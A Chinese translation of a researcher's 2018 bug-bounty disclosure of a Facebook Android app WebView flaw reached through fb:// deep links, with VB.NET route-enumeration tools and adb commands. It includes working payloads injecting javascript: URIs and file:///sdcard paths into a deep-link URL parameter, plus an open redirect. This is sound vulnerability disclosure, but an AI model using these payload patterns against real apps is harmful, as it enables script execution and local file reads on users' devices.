Facebook安卓应用任意Javascript代码执行漏洞详情披露

xiaohui 漏洞 2018年9月17日发布
Favorite收藏

导语:在2018年6月开展的Facebook漏洞悬赏项目中,有研究人员发现Facebook安卓应用程序中使用的webview组件存在漏洞。该漏洞允许攻击者只需点击一个链接即可在Android应用程序中执行任意javascript。

前言

在2018年6月开展的Facebook漏洞悬赏项目中,有研究人员发现Facebook安卓应用程序中使用的webview组件存在漏洞。该漏洞允许攻击者只需点击一个链接即可在Android应用程序中执行任意javascript。

在研究人员确定此漏洞之前,他们在3个不同的应用端,利用此漏洞成功测试了可能发生攻击。在测试中,研究人员确定安卓应用程序中使用的webview组件存在漏洞。此次,研究人员总共获得了8500美元的奖励。

漏洞的发现过程

在漏洞的发现过程,研究人员只关注了一件事,那就是深层链接。

深层链接是另一种类型的超链接,可以将用户定位到应用程序中的特定活动中。例如,fb://profile/1395634905在Android设备上点击此URL后,就将启动Facebook应用程序并直接转到研究人员的Facebook个人资料。

为了查看APK文件中可见的纯文本,研究人员就要在WinRAR中打开最新的APK并搜索字符串 'fb://',它会撤回一个文件 'assets/Bundle-fb4.js.hbc'。由于这个文件有多个深层链接,其中包括fb://marketplace_product_details_from_for_sale_item_id和fb://adsmanager,但它们没什么可以被攻击者利用的。

然而,深层链接(fb://ama/)却不一样。虽然其URL本身并不做什么,但在Winrar中搜索'ama'后,APK显示了一个名为'react_native_routes.json'的文件。这是攻击者利用的文件,它包含了Facebook可以处理的大部分深层链接。

1.png

根据上图中的内容,研究人员可以制作一个有效的Facebook深层链接。

fb://ama/?entryPoint={STRING}&fb_hidesTabBar={STRING}&presentationMethod={STRING}&targetURI={STRING}

由于这个文件包含的代码片段有12000多行,所以研究人员需要一些程序化的工具来收集所有有效的链接。为此,他们创建了两个快速收集的应用程序,一个用于将JSON转换为数据库结构,另一个用于从数据库创建链接。研究人员之所以要保持数据库的路径,只是为了以防以后需要操作数据。

Imports System.Data.SQLite
Imports System.IO
Imports Newtonsoft.Json.Linq

Module Module1

    Sub Main(args() As String)
        ProcessFile("react_native_routes.json")
    End Sub

    Public Sub ProcessFile(InputFile As String)
        Dim JSONText = File.ReadAllText(InputFile)
        If JSONText.StartsWith("[") Then
            'Make valid JSON
            JSONText = "{'results' : " & JSONText & " }"
        End If
        Dim json As JObject = JObject.Parse(JSONText)
        Dim arr As JArray = json.SelectToken("results")

        For i = 0 To arr.Count - 1
            Try
                Dim RouteName As String = arr(i).SelectToken("name")
                Dim RoutePath As String = arr(i).SelectToken("path")
                Dim paramJSON As JObject = arr(i).SelectToken("paramDefinitions")
                Dim RouteParamateCount As Integer = arr(i).SelectToken("paramDefinitions").Count

                If RouteParamateCount <> 0 Then
                    Dim o As Integer = 0
                    Dim RouteID As Integer = insertRoute(RouteName, RoutePath, RouteParamateCount)
                    For Each item As JProperty In arr(i).SelectToken("paramDefinitions")
                        o += 1
                        Dim ParamName = item.Name
                        Dim ParamType = item.Value("type").ToString
                        Dim ParamRequired = item.Value("required").ToString
                        insertParamater(ParamName, ParamType, ParamRequired, o, RouteID)
                    Next
                End If
            Catch ex As Exception
            End Try
        Next
    End Sub

    Public Function insertRoute(RouteName As String, RoutePath As String, 
                                RouteParamaterCount As Integer) As Integer
        Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
        con.Open()
        Dim sql As String = "INSERT INTO RouteTable 
                            (RouteName, RoutePath, RouteParamaterCount, RouteAddedDateTime) 
                              VALUES 
                            (@RN, @RP, @RPC, @RAD)"
        Dim cmd As New SQLiteCommand(sql, con)
        cmd.Parameters.Add("RN", SqlDbType.VarChar).Value = RouteName
        cmd.Parameters.Add("RP", SqlDbType.VarChar).Value = RoutePath
        cmd.Parameters.Add("RPC", SqlDbType.Int).Value = RouteParamaterCount
        cmd.Parameters.Add("RAD", SqlDbType.Int).Value = Date.Now.Ticks
        cmd.ExecuteNonQuery()
        sql = "SELECT last_insert_rowid()"
        cmd = New SQLiteCommand(sql, con)
        insertRoute = cmd.ExecuteScalar()
        con.Close()
    End Function

    Public Sub insertParamater(ParamaterName As String, ParamaterType As String, ParamaterRequired As Boolean, 
                              ParamaterOrderIndex As Integer, RouteID As Integer)
        Dim PR As Integer = 0
        If ParamaterRequired = True Then
            PR = 1
        Else
            PR = 0
        End If
        Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
        con.Open()
        Dim sql As String = "INSERT INTO ParamaterTable 
                            (ParamaterName, ParamaterType, ParamaterRequired, ParamaterOrderIndex, RoutesID) 
                              VALUES 
                            (@PN, @PT, @PR, @POI, @RID)"
        Dim cmd As New SQLiteCommand(sql, con)
        cmd.Parameters.Add("PN", SqlDbType.VarChar).Value = ParamaterName
        cmd.Parameters.Add("PT", SqlDbType.VarChar).Value = ParamaterType
        cmd.Parameters.Add("PR", SqlDbType.Int).Value = ParamaterRequired
        cmd.Parameters.Add("POI", SqlDbType.Int).Value = PR
        cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
        cmd.ExecuteNonQuery()
        con.Close()
    End Sub

End Module

上面的代码(VB.NET)会将JSON中的每个'path'解析为RouteTable中自己的条目,以及它的名称和参数数量。同样,实际的参数也将被存储在ParamterTable中。ParamterTable包括参数类型、参数名称、索引以及它是否为必填字段以及返回路径的链接。

以下代码会处理SQLlite数据库并提供命令行列表,以通过ADB在Android设备上执行深度链接。

Imports System.Data.SQLite
Imports System.IO


Module Module1

  Sub Main(args() As String)
      Dim FilePath As String = Date.Now.ToString("ddMMyyHHmm") & ".txt"
      Dim FBLink As String = ""
      Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
      con.Open()
      Dim sql As String = "SELECT RouteID, RouteName, RoutePath FROM RouteTable"
      Dim cmd As New SQLiteCommand(sql, con)
      Dim reader As SQLiteDataReader = cmd.ExecuteReader()
      If reader.HasRows Then
          Using sw As StreamWriter = New StreamWriter(FilePath)
              While reader.Read
                  FBLink = BuildLink(reader("RouteID"), reader("RouteName"), reader("RoutePath"))
                  FBLink = "adb shell am start -a ""android.intent.action.VIEW"" -d """ & FBLink & """"
                  sw.WriteLine(FBLink)
              End While
          End Using
      End If
      reader.Close()
      con.Close()
  End Sub

  Public Function BuildLink(RouteID As Integer, RouteName As String, RoutePath As String) As String
      BuildLink = $"fb:/{RoutePath}/"
      Dim i As Integer = 0
      Dim con As New SQLiteConnection("Data Source=FBNativeRoutes.db")
      con.Open()
      Dim sql As String = "SELECT ParamaterName, ParamaterType, ParamaterRequired FROM ParamaterTable 
                          WHERE RoutesID = @RID"
      Dim cmd As New SQLiteCommand(sql, con)
      cmd.Parameters.Add("RID", SqlDbType.Int).Value = RouteID
      Dim reader As SQLiteDataReader = cmd.ExecuteReader()
      If reader.HasRows Then
          While reader.Read()
              If i = 0 Then
                  BuildLink &= "?" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
              Else
                  BuildLink &= "\&" & reader("ParamaterName") & "=" & getValidValue(reader("ParamaterType"))
              End If
              i += 1
          End While
      End If
      reader.Close()
      con.Close()
  End Function

  Public Function getValidValue(ParamaterType As String) As String
      Select Case ParamaterType
          Case "String"
              Return "{STRING}"
          Case "Int"
              Return "{INT}"
          Case "Boolean"
              Return "{BOOLEAN}"
          Case Else
              Return "{STRING}"
      End Select
  End Function
End Module

以AMA深度链接为例,以下就是解析后的端点。

5.png

这将允许研究人员通过命令行打开fb://url,这使得检查每个URL的过程快了一百万倍。

漏洞介绍

5.png

现在研究人员就有一个364条预先构建好的命令行列表,如果是攻击者,完全可以实施暴力破解了,看看研究人员从中获得了什么样的响应。

adb shell am start -a "android.intent.action.VIEW" -d "fb://payments_add_paypal/?url={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl={STRING}"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ads_payments_prepay_webview/?account={STRING}\&contextID={STRING}\&paymentID={STRING}\&url={STRING}\&originRootTag={INTEGER}"

这三个深层链接都有一个共同点,即URL参数。

假设参数需要URL,则研究人员就可以提供了它想要的URL,第一个有效载荷如下。

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=https://google.com"

8.png

这样第一个漏洞就被检测了出来,是一个开放的重定向漏洞。Facebook曾宣布消除了某些漏洞(如SSRF和开放重定向),所以这次的测试很明显让研究人员有利可图。接下来,研究人员会用这个漏洞测试,看到底设备会发生什么反应。比如是否可以使用javscript URI而不是http/https呢?另外,是否可以读取本地文件呢?

adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=javascript:confirm('https://facebook.com/Ashley.King.UK')"
adb shell am start -a "android.intent.action.VIEW" -d "fb://ig_lwicreate_instagram_account_full_screen_ad_preview/?adPreviewUrl=file:///sdcard/CDAInfo.txt"

令研究人员惊讶的是,这些疑问都可以实现。

10.png

研究人员花了好几个小时试图把这些漏洞联系起来,以进一步利用它们,但却没有成功。由于研究人员是从功能测试的角度来发现和运行漏洞的,因此没有源代码,往下的测试是不可能进行的。

本文翻译自:https://ash-king.co.uk/facebook-bug-bounty-09-18.html如若转载,请注明原文地址: http://www.4hou.com/vulnerable/13645.html
点赞 6
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论